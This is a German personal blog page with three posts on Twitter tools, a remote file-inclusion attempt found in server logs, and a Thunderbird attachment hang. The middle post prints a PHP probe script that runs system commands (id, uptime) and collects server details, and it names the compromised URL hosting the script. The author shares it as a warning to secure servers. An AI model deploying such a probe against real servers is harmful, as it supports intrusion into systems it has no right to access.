PRoJEcTMuSIcAL – Blog

Twitter ist in aller Munde und jeder macht mit. Selbst ich. Wenn auch nicht so viel. Lustig ist es dennoch, auch wenn es ganz schön Zeit kosten kann, alle Updates nachzulesen, Followers zu begutachten und nicht zuletzt, selbst zu twittern. Das Leben kann man sich da allerdings mit einigen Tools einfacher machen. 99 davon werden in einem Artikel auf dem Smashing Magazine vorgestellt. Sortiert und anschaulich dargestellt, allerdings in Englisch. In Blick lohnt sich und vielleicht twittert man dann nur noch die halbe Zeit am Tag, oder doppelt so viel – wer weiß das schon.

Nadir Tips, Webtip, software followers, software, tip, tools, twitter

Ich gehöre zu den Webmastern, die regelmäßig die Logfiles analysieren, vor allem im Hinblick auf Spammern und sonstigen Unrat des Webs. Immer wieder mal finde ich da einen Versuch, der mir eine Datei unterschieben soll – wie ich annehme. Meist sind das irgendwelche kryptischen URLs, doch dieses Mal hat mich das schon stutzig gemacht, denn die Domain, war die der Gitarrenjugend Loga.

Ich habe mir die Textdatei mal angesehen, was man mir da denn schönes geben wollte und siehe da, mein Server sollte wohl ausgelesen werden:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

<?
echo "BraT<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "0wnW4y<br>";
exit;
?>

URL dazu: http://www.gitarrenjugend-loga.de/news/include/safe1.txt

Für die Datei kann die Gitarrenjugend wahrscheinlich nichts, weil die dort über Hintertürchen gelandet ist – zumindest ist da in den meisten Fällen so.  Aber dennoch könnte es dazu führen, daß eben unbescholtene Bürger als Bösewichte hingestellt werden. Also Leute: Server sichern!

Gute Infos zu diesem Thema gibt es übrigens zum Beispiel hier

Nadir php html, injection, php, Server, software

Vor ein paar Tagen begegnete mir ein interessantes und neue Phänomen mit Thunderbird: Wenn ich eine Mail mit Anhang verschicken wollte (egal welches Dateiformat), hängte sich der Donnervogel auf und belastete meine CPU mit netten 98%… Nicht so toll!

Eine Recherche im Internet schaffte dann Abhilfe, da ich einen Tip fand, der bei mir Wunder wirkte:

Dort wurde empfohlen, sich mal die Datei “mimeTypes.rdf” im Profilverzeichnis anzusehen. Wenn diese mehrere MB groß ist, sollte man sie mal löschen – nachdem man Thunderbird geschlossen hat – und löschen. Nach einem neuen Start sollte alles wieder funktionieren.

Die Datei “mimeTypes.rdf” in meinem Profilverzeichnis war stolze 188 MB groß. Also: Thunderbird schließen, Datei umbenennen (mit Löschen bin ich immer vorsichtig) und den Donnervogel neu starten. Und siehe da: es klappt auch wieder mit den Anhängen.

Nadir lösungen, software, thunderbird lösungen, software, thunderbird